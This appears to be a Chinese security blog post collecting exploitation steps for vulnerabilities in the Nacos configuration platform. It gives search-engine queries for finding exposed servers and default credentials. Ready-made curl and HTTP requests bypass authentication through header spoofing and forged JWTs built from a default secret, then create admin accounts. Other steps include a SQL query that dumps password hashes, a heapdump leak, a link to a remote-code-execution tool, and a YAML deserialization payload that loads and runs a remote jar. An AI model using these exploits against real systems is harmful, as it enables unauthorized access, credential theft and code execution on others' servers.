Nacos 漏洞利用

警告
本文最后更新于 2024-01-08,文中内容可能已过时。

Nacos是阿里巴巴于2018年开源的项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,致力于帮助发现、配置和管理微服务。

Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos支持三种部署模式:

  • 单机模式 - 用于测试和单机试用。
  • 集群模式 - 用于生产环境,确保高可用。
  • 多集群模式 - 用于多数据中心场景。

Nacos控制台默认开放端口:8848

Nacos版本:Nacos目前存在两个版本:Nacos 1.X 是老版本,将来会停止维护,Nacos 2.X 是在维护的最新版本

FOFA:

app=“NACOS”

Hunter:

app.name=“Nacos”

Quake:

app:“阿里巴巴网络技术有限公司Nacos”

漏洞名称 漏洞编号 影响版本
弱口令
默认配置未授权访问 Nacos <= 2.0.0-ALPHA.1
UA白名单权限认证绕过 CVE-2021-29441 Nacos < 1.4.1
Nacos Derby SQL注入 CVE-2021-29442、CNVD-2020-67618 Nacos <= 1.4.1
Identity默认值权限认证绕过 Nacos <= 2.2.0Nacos <= 1.4.4
token.secret.key默认值权限认证绕过 CVE-2021-43116、QVD-2023-6271、NVDB-CNVDB-2023674205 0.1.0 <= Nacos <= 2.2.0
SpringBoot-HeapDump未授权漏洞
Nacos集群Jraft Hessian反序列化 CNVD-2023-45001 1.4.0 <= Nacos < 1.4.6 使用 cluster 集群模式运行2.0.0 <= Nacos < 2.2.3 任意模式启动
Nacos-client Yaml反序列化 Nacos client < 1.4.2

Nacos存在弱口令漏洞,攻击者可利用默认弱密码登录系统后台,获取所有命名空间下的配置资源,泄露数据库账号密码或secret等敏感信息。

默认用户名/密码为:

text

nacos/nacos

默认密码nacos的加盐密码串$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu

1.漏洞描述

按照官方配置文档,默认不开启鉴权。

application.properties配置文件中默认为:

text

nacos.core.auth.enabled=false

2.影响版本

Nacos <= 2.0.0-ALPHA.1

3.漏洞利用

查看用户列表

text

/nacos/v1/auth/users?pageNo=1&pageSize=9
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken

image-20240108092840398

获取集群信息

text

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

获取配置信息

text

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

1.漏洞描述

在1.2~1.4.0版本期间,nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。

2.影响版本

Nacos < 1.4.1

3.漏洞利用

利用一:查看用户列表

text

GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host:
User-Agent: Nacos-Server

使用cURL工具

bash

curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=1' -H 'User-Agent: Nacos-Server'

利用二:新建管理员用户

text

POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27

username=test&password=test

bash

curl -XPOST  -H 'User-Agent: Nacos-Server' 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

发送POST请求,返回码200,创建用户成功~!

1.漏洞描述

在版本1.4.1之前的Nacos中,ConfigOpsController允许用户执行管理操作,例如查询数据库,甚至清除数据库。虽然/data/remove端点使用@Secured注解得到了正确的保护,但是/derby端点未受保护,

2.影响版本

Nacos <= 1.4.1

3.漏洞利用

text

/nacos/v1/cs/ops/derby?sql=select+user,password+from+users

image-20240104122516184

其他SQL语句

sql

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

1.漏洞描述

从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。

application.properties配置中,默认server.identity值为:

text

nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

2.影响版本

Nacos <= 2.2.0

Nacos <= 1.4.4

3.漏洞利用

利用一:查看用户列表

bash

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host:
serverIdentity: security

bash

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur"

利用二:新增管理员用户

text

POST /nacos/v1/auth/users HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31

username=test&password=test

bash

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H "serverIdentity: security"

1.漏洞描述

Nacos使用token.secret.key来进行身份认证和加密,这个密钥在Nacos版本 <= 2.2.0 时仍获取的是固定的默认值,导致攻击者可以利用默认secret.key生成JWT Token,从而绕过身份认证并进入Nacos后台。

application.properties配置中,默认的token.secret.key值:

text

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

2.影响版本

Nacos <= 2.2.0

Nacos <= 1.4.4

3.漏洞利用

使用jwt.io网站在线生成JWT Token

image-20240104151103390

修改时间戳大于当日时间,填入token.secret.key的值,并勾选secret base64 encoded,复制左边输入框中生成的结果

时间戳生成网站:https://tool.lu/timestamp/

利用一:查看用户列表

GET请求

bash

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU

POST请求使用Authorization需要加上"Bearer "

bash

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"

利用二:获取accessToken跳过登陆认证,密码错误也可以

抓取登陆请求包中的Authorization,发包获取accessToken

text

POST /nacos/v1/auth/users/login HTTP/1.1
Host:
Content-Length: 28
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5NzQ1MzEzMn0.8HVzbH5XD_04H-rkGGtPIxGNcsOREr-jQjibkXfeDNs

username=nacos&password=1111

修改响应包为登录成功带有accessToken的响应包,成功绕过登录到后台页面

POC

text

/nacos/actuator/heapdump

可以尝试下载heapdump进行解密,可利用关键字

text

nacos.core.auth.default.token.secret.key

再配合上述默认secret.key漏洞去生成accessToken

1.漏洞描述

Nacos默认的7848端口是用来处理集群模式下Jraft协议的通信,该端口的服务在处理部分Jraft请求时,未对使用hessian反序列化进行限制,导致攻击者可以通过发送特制的请求触发该漏洞,最终执行任意远程代码。

2.影响版本

1.4.0 <= Nacos < 1.4.6 使用 cluster 集群模式运行

2.0.0 <= Nacos < 2.2.3 任意模式启动

3.漏洞利用

使用开源工具进行利用

https://github.com/c0olw/NacosRce

image-20240108100216928

1.漏洞描述

在Nacos 1.4.1版本之前,使用AbstractConfigChangeListener监听器的客户端,存在Yaml反序列化漏洞,可以请求远程的Jar包并执行,该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置。

2.影响版本

Nacos client < 1.4.2

3.漏洞利用

下载 https://github.com/artsploit/yaml-payload 修改AwesomeScriptEngineFactory.java中需要执行的命令

image-20240108100743098

编译成jar包上传服务器,并开启web服务,提供访问

bash

 javac src/artsploit/AwesomeScriptEngineFactory.java
 jar -cvf yaml-payload.jar -C src/ .

新建配置,选择yaml,填写配置内容:

yaml

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:7800/yaml-payload.jar"]
  ]]
]

点击发布,即可触发。

image-20240108101038828

payload绕过

yaml

!<tag:yaml.org,2002:javax.script.ScriptEngineManager>[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7800/yaml-payload.jar"]]]]

参考链接